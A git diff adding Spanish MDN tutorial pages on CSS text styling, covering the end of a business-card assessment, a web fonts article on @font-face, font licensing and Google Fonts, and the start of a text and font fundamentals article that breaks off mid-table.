+ <li>Como último toque, asigna al párrafo dentro del <code>&lt;article&gt;</code> un padding apropiado para que su borde izquierdo se alinee con el <code>&lt;h2&gt;</code> y el párrafo del footer, y ajuste su color para que sea bastante claro y sea fácil de leer.</li>
+</ul>
+
+<p>Otras cosas en las que pensar:</p>
+
+<ul>
+ <li>Obtendrás puntos adicionales si escribes tu CSS para una legibilidad máxima, con una declaración separada en cada línea..</li>
+ <li>Deberás incluir <code>.card</code> al principio de la cadena de selección en todas tus reglas,  para que estas reglas no interfieran con el estilo de cualquier otro elemento si la tarjeta de presentación se pusiera en una página con un montón de otro contenido.</li>
+</ul>
+
+<h2 id="Consejos_y_Sugerencias">Consejos y Sugerencias</h2>
+
+<ul>
+ <li>No necesitas editar el HTML de ninguna manera, excepto para aplicar el CSS a tu HTML.</li>
+ <li>Cuando intentes calcular el valor <code>em</code> que necesita para representar una cierta longitud de píxel, piensa en el tamaño de fuente base que tiene el elemento raíz (<code>&lt;html&gt;</code>) , y por el que necesita multiplicarse para obtener el valor deseado. Eso te dará tu valor, al menos en un caso sencillo como este.</li>
+</ul>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>La siguiente captura de pantalla muestra un ejemplo de cómo debe ser el diseño terminado:</p>
+
+<p><img alt="A view of the finished business card, show a reader header and footer, and a darker center panel containing the main details and image." src="https://mdn.mozillademos.org/files/12616/business-card.png" style="display: block; margin: 0 auto;"></p>
+
+<p> </p>
+
+<h2 id="Evaluación">Evaluación</h2>
+
+<p>Si estás siguiendo esta evaluación como parte de un curso organizado, deberías ser capaz de entregar tu trabajo a tu profesor/mentor para que lo califique. Si eres autodidacta, entonces puedes obtener la guía de puntuación fácilmente preguntando en el hilo del <a href="https://discourse.mozilla-community.org/t/learning-web-development-marking-guides-and-questions/16294">Discurso del Área de Aprendizaje</a>, o en el canal IRC <a href="irc://irc.mozilla.org/mdn">#mdn</a> en <a href="https://wiki.mozilla.org/IRC">Mozilla IRC</a>. Haz el ejercicio primero - ¡No hay nada que ganar haciendo trampa!</p>
+
+<p>{{PreviousMenu("Learn/CSS/Introduction_to_CSS/Debugging_CSS", "Learn/CSS/Introduction_to_CSS")}}</p>
+</div>
diff --git a/files/es/learn/css/styling_text/fuentes_web/index.html b/files/es/learn/css/styling_text/fuentes_web/index.html
new file mode 100644
index 0000000000..7bfa162217
--- /dev/null
+++ b/files/es/learn/css/styling_text/fuentes_web/index.html
@@ -0,0 +1,197 @@
+---
+title: Fuentes web
+slug: Learn/CSS/Styling_text/Fuentes_web
+translation_of: Learn/CSS/Styling_text/Web_fonts
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/CSS/Styling_text/Styling_links", "Learn/CSS/Styling_text/Typesetting_a_homepage", "Learn/CSS/Styling_text")}}</div>
+
+<p class="summary">En el primer artículo del módulo, exploramos las características básicas del CSS disponibles para aplicar estilos a tipos de letra y al texto. En este artículo vamos a ir más lejos: exploraremos en detalle las tipografías web, que permiten que te descargues tipos de letra personalizados junto con tu página web para lograr un estilo de texto más variado y personalizado.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Conocimientos básicos de informática, conceptos básicos de HTML (véase <a href="/es/docs/Learn/HTML/Introduccion_a_HTML">Introducción al HTML</a>) y de CSS (véase <a href="/es/docs/Learn/CSS/First_steps">Introducción al CSS</a>), <a href="/es/docs/Learn/CSS/Styling_text/Fundamentals">texto CSS y los fundamentos de la fuente</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Aprender a aplicar tipos de letra a una página web, ya sea desde un servicio de terceros o desde tu código.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Resumen_de_las_familias_de_tipos_de_letra">Resumen de las familias de tipos de letra</h2>
+
+<p>Como observamos en el artículo <a href="/es/docs/Learn/CSS/Styling_text/Fundamentals">Texto y tipos de letra</a>, puedes controlar los tipos de letra que aplicas a tu HTML con la propiedad {{cssxref ("font-family")}}. Este atributo toma uno o más nombres de familia de tipos de letra y el navegador recorre esta lista hasta que encuentra un tipo de letra disponible en el sistema en el que se ejecuta:</p>
+
+<pre class="brush: css notranslate">p {
+  font-family: Helvetica, "Trebuchet MS", Verdana, sans-serif;
+}</pre>
+
+<p>Este sistema funciona bien, pero las opciones de tipo de letra tradicionales de los desarrolladores web eran limitadas. Solo hay un puñado de tipos de letra que puedes garantizar que están disponibles en todos los sistemas comunes: las llamadas <a href="/es/docs/Learn/CSS/Styling_text/Fundamentals#Familia_de_tipos_de_letras">fuentes seguras para la web</a>. Puedes usar la lista de tipos de letra para especificar cuáles prefieres, seguido de alternativas seguras para la web y del tipo de letra predeterminado del sistema. El problema es que esto añade trabajo extra en términos de pruebas para asegurarte de que tus diseños se ven bien con cada tipo de letra, etc.</p>
+
+<h2 id="Tipografías_web">Tipografías web</h2>
+
+<p>Hay una alternativa, sin embargo, que funciona muy bien hasta con versiones posteriores a la versión 6 de Internet Explorer. Las tipografías web son una función del CSS que te permite especificar los archivos de tipo de letra que se van a descargar junto con tu sitio web a medida que el usuario acceda a ellos, lo que significa que cualquier navegador que admita tipografías web puede disponer de los tipos de letra que especificas. ¡Increíble! Observa a continuación la sintaxis que se necesita.</p>
+
+<p>En primer lugar, tienes un bloque {{cssxref ("@font-face")}} al comienzo del CSS, que especifica los archivos de los tipos de letra que quieres que se descarguen:</p>
+
+<pre class="brush: css notranslate">@font-face {
+  font-family: "myFont";
+  src: url("myFont.woff");
+}</pre>
+
+<p>A continuación, puedes usar el nombre de la familia de tipos de letra especificado en <code>@font-face</code> para aplicar tu tipo de letra personalizado a cualquier elemento que desees:</p>
+
+<pre class="brush: css notranslate">html {
+  font-family: "myFont", "Bitstream Vera Serif", serif;
+}</pre>
+
+<p>La sintaxis es un poco más compleja; más adelante la veremos más detalladamente.</p>
+
+<p>Hay dos cosas importantes a tener en cuenta acerca de las tipografías web:</p>
+
+<ol>
+ <li>Los navegadores admiten diferentes formatos de tipos de letra, por lo que necesitarás más de un formato de tipos de letra para conseguir una compatibilidad decente entre navegadores. Por ejemplo, la mayoría de los navegadores modernos admiten WOFF/WOFF2 (Web Open Font Format, versiones 1 y 2), el formato más eficiente disponible. Pero las versiones antiguas de Internet Explorer solo admiten tipos de letra con formato EOT (Embedded Open Type) y es posible que debas incluir una versión SVG del tipo de letra para soportar versiones antiguas de navegadores iPhone y Android. A continuación te mostraremos cómo generar el código necesario.</li>
+ <li>Generalmente las fuentes no son de uso gratuito. Debes pagar por ellas y/o respetar otras condiciones de licencia, como acreditar al creador del tipo de letra en el código (o en tu sitio web). Los tipos de letra no deben robarse, ni debes utilizarlos sin otorgar a su creador el crédito apropiado.</li>
+</ol>
+
+<div class="note">
+<p><strong>Nota</strong>: ¡Los tipos de letra seguros para web como tecnología han sido compatibles con Internet Explorer desde su versión 4!</p>
+</div>
+
+<h2 id="Aprendizaje_activo_Un_ejemplo_de_tipo_de_letra_seguro_para_web">Aprendizaje activo: Un ejemplo de tipo de letra seguro para web</h2>
+
+<p>Con esto en mente, vamos a construir un ejemplo básico de uso de un tipo de letra seguro para web a partir de los principios básicos. Es difícil hacer un ejemplo de demostración de este aspecto con un ejemplo en vivo incrustado, por lo tanto, nos gustaría que siguieses los pasos que se detallan en las secciones siguientes para que te hagas una idea de cómo funciona el proceso.</p>
+
+<p>Como punto de partida hay que utilizar los archivos <a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/web-fonts/web-font-start.html">web-font-start.html</a> y <a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/web-fonts/web-font-start.css">web-font-start.css</a> a los que añadir tu código (véase el <a href="http://mdn.github.io/learning-area/css/styling-text/web-fonts/web-font-start.html">ejemplo en vivo</a>). Haz una copia de estos archivos en un directorio nuevo de tu equipo. En el archivo <code>web-font-start.css</code>, encontrarás un poco de CSS para trabajar con el aspecto y los tipos de letra básicos del ejemplo.</p>
+
+<h3 id="Encontrar_tipos_de_letra">Encontrar tipos de letra</h3>
+
+<p>Para este ejemplo, utilizaremos dos tipografías web: una para los títulos de encabezado y otra para el texto base. Para empezar, hay que encontrar los archivos que contienen el tipo de letra. Los tipos de letra se crean en estudios de diseño y se guardan en diversos formatos de archivo. En general, hay tres tipos de sitios donde puedes obtener fuentes:</p>
+
+<ul>
+ <li>Un distribuidor gratuito de tipos de letra: Es un sitio web que pone a disposición tipos de letra para descargar de forma gratuita (aunque puede haber algunas condiciones de licencia, como la acreditación del creador del tipo de letra). Algunos ejemplos de sitios web donde puedes encontrar tipos de letra gratis son <a href="https://www.fontsquirrel.com/">Font Squirrel</a>, <a href="http://www.dafont.com/">dafont</a> y <a href="https://everythingfonts.com/">Everything Fonts</a>.</li>
+ <li>Un distribuidor de fuentes de pago: En este sitio web puedes encontrar tipos de letra a cambio de un precio, dos ejemplos son <a href="http://www.fonts.com/">fonts.com</a> o <a href="http://www.myfonts.com/">myfonts.com</a>. También puedes comprar tipos de letra directamente de estudios de diseño, por ejemplo, <a href="https://www.linotype.com/">Linotype</a>, <a href="http://www.monotype.com">Monotype</a>, o <a href="http://www.exljbris.com/">Exljbris</a>.</li>
+ <li>Un servicio de tipos de letra en línea: Es un sitio que guarda y te sirve los tipos de letra, lo que te facilita todo el proceso. Consulta la sección {{anch ("Los servicios de tipos de letra en línea")}} para obtener más información.</li>
+</ul>
+
+<p>Vamos a ver algunos tipos de letra. Ve a <a href="https://www.fontsquirrel.com/">Font Squirrel</a> y elige dos tipos de letra: uno que te resulte agradable e interesante para los títulos (quizá una buena tipografía de tipo Display o Slab Serif), y otro un poco menos llamativo y más legible para los párrafos. Cuando encuentres los tipos de letra, pulsa el botón de descarga y guarda el archivo en el mismo directorio que los archivos HTML y CSS que guardaste anteriormente. No importa si son TTF (True Type Fonts) u OTF (Open Type Fonts).</p>
+
+<p>En cada caso, descomprime el paquete de tipos de letra (las tipografías web generalmente se distribuyen en archivos ZIP que contienen los archivos con el tipo de letra y la información de la licencia). En el paquete puede haber más de un archivo con tipos de letra: algunos tipos de letra se distribuyen por familias, con diferentes variantes disponibles, por ejemplo: <em>thin</em>, <em>medium</em>, <em>bold</em>, <em>italic</em>, <em>thin italic</em>, etc. Para este ejemplo, solo queremos que te quedes con un solo archivo de fuente para cada opción.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: En la sección «Encontrar tipos de letra» en la columna de la derecha, puedes hacer clic en las diferentes etiquetas y clasificaciones para filtrar las opciones.</p>
+</div>
+
+<h3 id="Generar_el_código">Generar el código</h3>
+
+<p>Ahora deberás generar el código que necesitas (y aplicar el estilo al tipo de letra). Para cada tipo de letra, sigue estos pasos:</p>
+
+<ol>
+ <li>Asegúrate de cumplir con todos los requisitos de la licencia, sobre todo si vas a usarlo en un proyecto comercial y/o en una web.</li>
+ <li>Ve a <a href="https://www.fontsquirrel.com/tools/webfont-generator">Webfont Generator </a>de Fontsquirrel.</li>
+ <li>Sube tus dos archivos de tipo de letra con el botón <em>Cargar Fuentes</em>.</li>
+ <li>Marca la casilla de verificación con el texto «Sí, las fuentes que elijo pueden utilizarse legalmente para una página web».</li>
+ <li>Haz clic en <em>Descarga tu paquete</em>.</li>
+</ol>
+
+<p>Una vez que el generador haya finalizado el procesamiento, deberías obtener un archivo ZIP para descargar; guárdalo en el mismo directorio que tus archivos HTML y CSS.</p>
+
+<h3 id="El_código_de_tu_ejemplo_de_demostración">El código de tu ejemplo de demostración</h3>
+
+<p>En este punto, descomprime el paquete con los tipos de letra web que acabas de generar. En el directorio descomprimido verás tres elementos útiles:</p>
+
+<ul>
+ <li>Las distintas versiones de cada tipo de letra, por ejemplo: <code>.ttf</code>, <code>.woff</code>, <code>.woff2</code>, etc.; los tipos de letra exactos proporcionados se actualizarán con el tiempo a medida que cambien los requisitos técnicos del navegador. Como se ya hemos dicho, se necesita más de un tipo de letra para garantizar la compatibilidad entre navegadores: esta es la forma en que Fontsquirrel se asegura de que tengas todo lo que necesitas.</li>
+ <li>Un archivo HTML con un ejemplo de demostración para cada tipo de letra: cárgalos en tu navegador para ver cómo se ve la fuente en diferentes contextos de uso.</li>
+ <li>Un archivo <code>stylesheet.css</code>, que contiene el código @font-face que necesitas.</li>
+</ul>
+
+<p>Para implementar estos tipos de letra en tu ejemplo de demostración, sigue estos pasos:</p>
+
+<ol>
+ <li>Cambia el nombre del directorio descomprimido a algo fácil y simple, como <code>fonts</code>.</li>
+ <li>Abre el archivo <code>stylesheet.css</code> y copia los dos bloques <code>@font-face</code> incluidos en tu archivo <code>web-font-start.css</code>. Debes ponerlos en la parte superior, antes de cualquier elemento CSS, ya que los tipos de letra deben importarse antes que los puedas utilizar en tu sitio web.</li>
+ <li>Cada una de las funciones <code>url()</code> apunta a un archivo de tipo de letra que tenemos que importar a nuestro CSS. Necesitamos asegurarnos de que las rutas a los archivos son correctas, así que añade <code>fonts/</code> al inicio de cada ruta (ajusta la ruta como sea necesario).</li>
+ <li>Ahora puedes usar estos tipos de letra en tu lista de tipos de letra, al igual que cualquier tipo de letra seguro o predeterminado del sistema. Por ejemplo:
+  <pre class="brush: css notranslate">font-family: 'zantrokeregular', serif;</pre>
+ </li>
+</ol>
+
+<p>Con tu ejemplo de demostración, deberías obtener una página con unos agradables tipos de letra. Debido a que los tipos de letra se crean en diferentes tamaños, es posible que tengas que ajustar el tamaño, el espaciado, etc., para conseguir una apariencia más ordenada.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/12984/web-font-example.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p>
+
+<div class="note">
+<p><strong>Nota</strong>: Si tienes problemas para lograr que esto funcione, no dudes en comparar tu versión con nuestros archivos terminados, consulta <a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/web-fonts/web-font-finished.html">web-font-finished.html</a> y <a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/web-fonts/web-font-finished.css">web-font-finished.css</a> (<a href="http://mdn.github.io/learning-area/css/styling-text/web-fonts/web-font-finished.html">ejecuta el ejemplo terminado en vivo</a>).</p>
+</div>
+
+<h2 id="Los_servicios_de_tipos_de_letra_en_línea">Los servicios de tipos de letra en línea</h2>
+
+<p>Los servicios de tipos de letra en línea en general guardan tipos de letra y los proporcionan a los usuarios, por lo que no tienes que preocuparte por escribir el código <code>@font-face</code>, solo necesitas insertar una o dos sencillas líneas de código en tu sitio web para que todo funcione. Los ejemplos incluyen <a href="https://fonts.adobe.com/">Adobe Fonts</a> y <a href="http://www.typography.com/cloud/welcome/">Cloud.typography</a>. La mayoría de estos servicios se basan en suscripciones de pago, con la excepción notable de <a href="https://www.google.com/fonts">Google Fonts</a>, un servicio gratuito y muy útil, sobre todo para trabajos de prueba rápida y escritura de ejemplos de demostración.</p>
+
+<p>La mayoría de estos servicios son fáciles de usar, por lo que no vamos a exponerlos en gran detalle. Vamos a echar un vistazo rápido a las fuentes de Google, para que te hagas una idea. De nuevo, usa copias de <code>web-font-start.html</code> y <code>web-font-start.css</code> como punto de partida.</p>
+
+<ol>
+ <li>Ve a <a href="https://www.google.com/fonts">Google Fonts</a>.</li>
+ <li>Usa los filtros del lado izquierdo para indicar los tipos de letra que deseas escoger y elige un par de tipos de letra que te gusten.</li>
+ <li>Para seleccionar una familia de tipos de letra, pulsa el botón ⊕ que encontrarás al lado.</li>
+ <li>Cuando hayas elegido las familias de tipos de letra, pulsa la barra <em>[número] familias seleccionadas</em> que encontrarás en la parte inferior de la página.</li>
+ <li>En la pantalla resultante, primero debes copiar la línea de código HTML que se muestra y pegarla en el encabezado de tu archivo HTML. Ponlo encima del elemento {{HTMLElement("link")}}, de modo que el tipo de letra se importe correctamente antes de intentar utilizarlo en tu CSS.</li>
+ <li>Luego, debes copiar las declaraciones CSS enumeradas en tu CSS según corresponda para aplicar los tipos de letra personalizados a tu HTML.</li>
+</ol>
+
+<div class="note">
+<p><strong>Nota</strong>: Puedes encontrar una versión completa en <a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/web-fonts/google-font.html">google-font.html</a> y <a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/web-fonts/google-font.css">google-font.css</a>, si necesitas comparar tu trabajo con el nuestro (<a href="http://mdn.github.io/learning-area/css/styling-text/web-fonts/google-font.html">consúltalo en vivo</a>).</p>
+</div>
+
+<h2 id="font-face_con_más_detalle">@font-face con más detalle</h2>
+
+<p>Vamos a explorar que la sintaxis correspondiente a <code>@font-face</code> que te ha generado Fontsquirrel. Uno de los bloques se verá así:</p>
+
+<pre class="brush: css notranslate">@font-face {
+  font-family: 'ciclefina';
+  src: url('fonts/cicle_fina-webfont.eot');
+  src: url('fonts/cicle_fina-webfont.eot?#iefix') format('embedded-opentype'),
+         url('fonts/cicle_fina-webfont.woff2') format('woff2'),
+         url('fonts/cicle_fina-webfont.woff') format('woff'),
+         url('fonts/cicle_fina-webfont.ttf') format('truetype'),
+         url('fonts/cicle_fina-webfont.svg#ciclefina') format('svg');
+  font-weight: normal;
+  font-style: normal;
+}</pre>
+
+<p>Esto se conoce como «sintaxis @font-face a prueba de balas» desde una publicación de Paul Irish, en los tiempos en que <code><code>@font-face</code></code> empezaba a popularizarse (<a href="http://www.paulirish.com/2009/bulletproof-font-face-implementation-syntax/">Bulletproof @font-face Syntax</a>). Vamos a ver qué hace:</p>
+
+<ul>
+ <li><code><code><code>font-family</code></code></code>: Esta línea especifica el nombre con el que vas a referirte a la fuente. Puedes poner el que quieras, siempre y cuando lo uses de manera coherente a lo largo de tu CSS.</li>
+ <li><code><code><code>src</code></code></code>: Estas líneas especifican las rutas de acceso a los archivos de tipos de letra para que puedas importarlos a tu CSS (la parte <code><code><code>URL</code></code></code>) y el formato de cada archivo de tipo de letra (la parte <code><code><code>format</code></code></code>). La última parte en cada caso es opcional, pero es útil declararla porque permite que los navegadores encuentren más rápido un tipo de letra que puedan usar. Se pueden enumerar varias declaraciones, separadas por comas: el navegador buscará por ellas y usará la primera que encuentre. Por lo tanto, es mejor poner formatos nuevos y mejores, como WOFF2 y formatos más antiguos, no tan buenos, como TTF. La única excepción son las fuentes EOT: se colocan primero para corregir un par de errores en versiones anteriores de Internet Explorer, por lo que intentará usar lo primero que encuentre, incluso si realmente no puede usar la fuente.</li>
+ <li>{{cssxref("font-weight")}}/{{cssxref("font-style")}}: Estas líneas especifican qué grueso tiene el tipo de letra y si se muestra en cursiva o no. Si vas a importar diversos grosores del mismo tipo de letra, puedes especificar cuál es su grueso/estilo y luego usar valores de {{cssxref("font-weight")}} / {{cssxref("font-style")}} diferentes para elegir entre ellos, en lugar de tener que llamar a todos los diferentes miembros de la familia de tipos de letra con nombres distintos. <a href="http://www.456bereastreet.com/archive/201012/font-face_tip_define_font-weight_and_font-style_to_keep_your_css_simple/">@tip-face tip: define font-weight and font-stile to keep your CSS simple</a> de Roger Johansson muestra qué hacer con más detalle.</li>
+</ul>
+
+<div class="note">
+<p><strong>Nota</strong>: También puedes especificar los valores particulares {{cssxref ("font-variant")}} y {{cssxref ("font-stretch")}} para tus tipos de letra seguros para web. En los navegadores más nuevos también puedes especificar un valor {{cssxref ("unicode-range")}}, que es un rango de caracteres específicos que debes usar aparte del tipo de letra seguro para web en los navegadores que incluyan esta opción. Solo se descargaran los caracteres especificados y te ahorrarás descargas innecesarias. <a href="https://24ways.org/2011/creating-custom-font-stacks-with-unicode-range/">Creating Custom Font Stacks with Unicode-Range</a> de Drew McLellan proporciona algunas ideas útiles sobre cómo hacer uso de todo esto.</p>
+</div>
+
+<h2 id="Tipos_de_letra_variables">Tipos de letra variables</h2>
+
+<p>Los navegadores disponen hoy de una tecnología de tipos de letra reciente llamada tipos de letra variables: se trata de tipos de letra que permiten incorporar muchas variaciones diferentes de un tipo de letra en un solo archivo, en lugar de tener un archivo separado para cada ancho, grosor o estilo. Es demasiado avanzado para nuestro curso para principiantes, pero si te apetece avanzar y echarles un vistazo, lee nuestra <a href="/en-US/docs/Web/CSS/CSS_Fonts/Variable_Fonts_Guide">guía de tipos de letra variables</a>.</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>Ahora que has leído nuestros artículos sobre nociones de aplicación de estilo al texto, es hora de evaluar cuánto has retenido del módulo a partir de la creación de una composición tipográfica de una página de inicio de una escuela comunitaria.</p>
+
+<p>{{PreviousMenuNext("Learn/CSS/Styling_text/Styling_links", "Learn/CSS/Styling_text/Typesetting_a_homepage", "Learn/CSS/Styling_text")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/CSS/Styling_text/Fundamentals">Texto fundamental y estilo de fuente</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Styling_text/Styling_lists">Dar estilo a las listas</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Styling_text/Styling_links">Dar estilo a los enlaces</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Styling_text/Web_fonts">Las fuentes web</a></li>
+ <li><a href="/en-US/Learn/CSS/Styling_text/Typesetting_a_homepage">Composición tipográfica de una página de inicio de una escuela comunitaria</a></li>
+</ul>
diff --git a/files/es/learn/css/styling_text/fundamentals/index.html b/files/es/learn/css/styling_text/fundamentals/index.html
new file mode 100644
index 0000000000..a1fa747e27
--- /dev/null
+++ b/files/es/learn/css/styling_text/fundamentals/index.html
@@ -0,0 +1,732 @@
+---
+title: Fundamentos de texto y fuentes tipográficas
+slug: Learn/CSS/Styling_text/Fundamentals
+translation_of: Learn/CSS/Styling_text/Fundamentals
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{NextMenu("Learn/CSS/Styling_text/Styling_lists", "Learn/CSS/Styling_text")}}</div>
+
+<p class="summary"><span class="seoSummary">En este artículo vas a iniciar tu viaje hacia el dominio la aplicación de estilos a textos con {{glossary("CSS")}}. </span> Aquí trataremos en detalle todos los fundamentos básicos del diseño del texto y las fuentes tipográficas, incluyendo la configuración de su grosor, la familia y el estilo de letra, las propiedades abreviadas para los tipos de letra, la alineación del texto, el espaciado entre líneas y letras, y otros efectos.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Conocimientos básicos de informática, conceptos básicos de HTML (estudio de <a href="/es/docs/Learn/HTML/Introduccion_a_HTML">Introducción al HTML</a>), conceptos básicos de CSS (estudio de <a href="/es/docs/Learn/CSS/First_steps">Introducción al CSS</a>).</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Aprender las propiedades y técnicas fundamentales necesarias para dar estilo al texto en las páginas web.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="¿Qué_implica_aplicar_estilo_a_texto_en_CSS">¿Qué implica aplicar estilo a texto en CSS?</h2>
+
+<p>Como ya habrás experimentado en tu trabajo con el HTML y el CSS, el texto incluido en un elemento se dispone dentro de la caja de contenido del elemento. Esta empieza en la parte superior izquierda del área de contenido (o en la esquina superior derecha, en el caso del contenido de los lenguajes RTL, o right-to-left, que se escriben de derecha a izquierda) y fluye hacia el final de la línea. Una vez que llega al final, baja a la línea siguiente y sigue, y luego continúa a la línea siguiente, hasta que todo el contenido se ha ubicado en la caja. El contenido de texto se comporta efectivamente como una serie de elementos en línea, distribuidos en líneas adyacentes entre sí, y sin crear saltos de línea hasta que se llega al final de la línea, a menos que se fuerce un salto de línea manual con el elemento {{htmlelement("br")}}.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Si el párrafo anterior te parece confuso, no te preocupes: vuelve atrás y revisa el artículo sobre el <a href="/es/docs/Learn/CSS/Building_blocks/El_modelo_de_caja">modelo de caja</a> antes de continuar.</p>
+</div>
+
+<p>Las propiedades CSS que se usan para aplicar estilo al texto pueden clasificarse generalmente en dos categorías, que veremos por separado en este artículo:</p>
+
+<ul>
+ <li><strong>Estilos del tipo de letra</strong>: Propiedades que afectan al texto (qué tipo de letra se usa, su tamaño, si es negrita, itálica, etc.).</li>
+ <li><strong>Estilos de disposición del texto</strong>: Propiedades que afectan al espaciado y otras características relativas a la disposición del texto, lo que permite la elección de, por ejemplo, el espacio entre líneas y letras, y el modo como el texto se alinea dentro de la caja contenedora.</li>
+</ul>
+
+<div class="note">
+<p><strong>Nota</strong>: Ten en cuenta que el efecto se aplica sobre todo el texto que hay dentro de un elemento como si fuera una única entidad. No puedes seleccionar y dar estilo a subsecciones de texto, a menos que las delimites con algún elemento apropiado (como {{htmlelement("span")}} o {{htmlelement("strong")}}), o con un pseudoelemento específico para el texto como <a href="/es/docs/Web/CSS/::first-letter">::first-letter</a> (selecciona la primera letra del texto de un elemento), <a href="/es/docs/Web/CSS/::first-line">::first-line</a> (selecciona la primera línea del texto de un elemento), o <a href="/es/docs/Web/CSS/::selection">::selection</a> (selecciona el texto que está resaltado por el cursor).</p>
+</div>
+
+<h2 id="Tipos_de_letra">Tipos de letra</h2>
+
+<p>Veamos las propiedades que permiten definir el estilo del tipo de letra. En este ejemplo aplicaremos algunas propiedades CSS diferentes al mismo ejemplo HTML, que presentamos a continuación:</p>
+
+<pre class="brush: html notranslate">&lt;h1&gt;Tommy the cat&lt;/h1&gt;
+
+&lt;p&gt;Well I remember it as though it were a meal ago...&lt;/p&gt;
+
+&lt;p&gt;Said Tommy the Cat as he reeled back to clear whatever foreign matter
+ may have nestled its way into his mighty throat. Many a fat alley rat
+had met its demise while staring point blank down the cavernous barrel of
+ this awesome prowling machine. Truly a wonder of nature this urban
+predator — Tommy the cat had many a story to tell. But it was a rare
+occasion such as this that he did.&lt;/p&gt;</pre>
+
+<p>Puedes ver el <a href="http://mdn.github.io/learning-area/css/styling-text/fundamentals/">ejemplo completo en Github</a> (consulta también <a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/fundamentals/index.html">el código fuente</a>.)</p>
+
+<h3 id="Color">Color</h3>
+
+<p>La propiedad {{cssxref("color")}} establece el color del contenido de los elementos seleccionados (que normalmente es texto, pero también puede incluir un par cosas más, como un subrayado o una línea superpuesta al texto con la propiedad {{cssxref("text-decoration")}} ).</p>
+
+<p>La propiedad <code>color</code> puede admitir cualquier <a href="/es/docs/Learn/CSS/Building_blocks/Valores_y_unidades_CSS">unidad de color CSS</a>, por ejemplo:</p>
+
+<pre class="brush: css notranslate">p {
+  color: red;
+}</pre>
+
+<p>Esto mostrará el contenido de los párrafos en color rojo, en lugar del negro que es el estándar por defecto del navegador:</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;h1&gt;Tommy the cat&lt;/h1&gt;
+
+&lt;p&gt;Well I remember it as though it were a meal ago...&lt;/p&gt;
+
+&lt;p&gt;Said Tommy the Cat as he reeled back to clear whatever foreign matter
+ may have nestled its way into his mighty throat. Many a fat alley rat
+had met its demise while staring point blank down the cavernous barrel of
+ this awesome prowling machine. Truly a wonder of nature this urban
+predator — Tommy the cat had many a story to tell. But it was a rare
+occasion such as this that he did.&lt;/p&gt;</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Color', '100%', 220) }}</p>
+
+<h3 id="Familia_de_tipos_de_letras">Familia de tipos de letras</h3>
+
+<p>Usamos la propiedad {{cssxref("font-family")}} para definir un tipo de letra diferente para nuestro texto. Esta propiedad indica al navegador el tipo de letra (o una lista de tipos de letra) que debe aplicar a los elementos seleccionados. El navegador solo aplica el tipo de letra si la máquina que accede al sitio web dispone de ella; en caso contrario, simplemente usa el tipo de letra que tiene definido por defecto ({{anch("Default fonts", "default font")}}). Aquí tienes un ejemplo sencillo:</p>
+
+<pre class="brush: css notranslate">p {
+  font-family: arial;
+}</pre>
+
+<p>Con esto, todos los párrafos de una página adoptan el tipo de letra Arial, que se encuentra en cualquier ordenador.</p>
+
+<h4 id="Tipos_de_letra_seguros_para_la_web">Tipos de letra seguros para la web</h4>
+
+<p>Solo hay un cierto número de tipos de letra que están disponibles en todos los sistemas en general, y que en consecuencia pueden utilizarse sin demasiadas preocupaciones. Son los llamados <em>tipos de letra seguros para la web</em>, o <em><strong>web safe fonts</strong></em>.</p>
+
+<p>La mayor parte del tiempo, como desarrolladores web deseamos tener un control específico mayor sobre los tipos de letra con que se va a mostrar para mostrar nuestro contenido de texto. El problema está en encontrar una manera de saber de qué tipo de letra dispone el ordenador que se utiliza para acceder a nuestras páginas. No hay manera de saber esto en todos los casos, pero al menos contamos con que los tipos de letra seguros para la web están disponibles en casi todos los sistemas operativos más utilizados (las distribuciones Linux más comunes, Windows, Mac, Android, e iOS).</p>
+
+<p>La lista de los tipos de letra seguros para la web cambia al ir evolucionando los sistemas operativos, pero es correcto considerar los tipos de letra siguientes como seguros para la web, al menos por ahora (muchos de ellos se han popularizado gracias a la iniciativa <em><a href="https://es.wikipedia.org/wiki/Core_fonts_for_the_Web">Core fonts for the web</a></em> de Microsoft, de finales de la década de 1990 y principios de la del 2000):</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Nombre</th>
+   <th scope="col" style="white-space: nowrap;">Tipo de letra genérico</th>
+   <th scope="col">Observaciones</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Arial</td>
+   <td>sans-serif</td>
+   <td>A menudo se considera una buena práctica añadir también <em>Helvética</em> como opción preferida a <em>Arial</em> porque, aunque tienen casi el mismo aspecto y <em>Arial</em> está más ampliamente disponible, se considera que <em>Helvética</em> tiene una forma más agradable.</td>
+  </tr>
+  <tr>
+   <td>Courier New</td>
+   <td>monospace</td>
+   <td>Algunos sistemas operativos cuentan con una versión alternativa (posiblemente más antigua) del tipo de letra <em>Courier New</em> llamado <em>Courier</em>. Se considera una buena práctica usar ambos, con <em>Courier New</em> como la opción preferida.</td>
+  </tr>
+  <tr>
+   <td style="white-space: nowrap;">Georgia</td>
+   <td>serif</td>
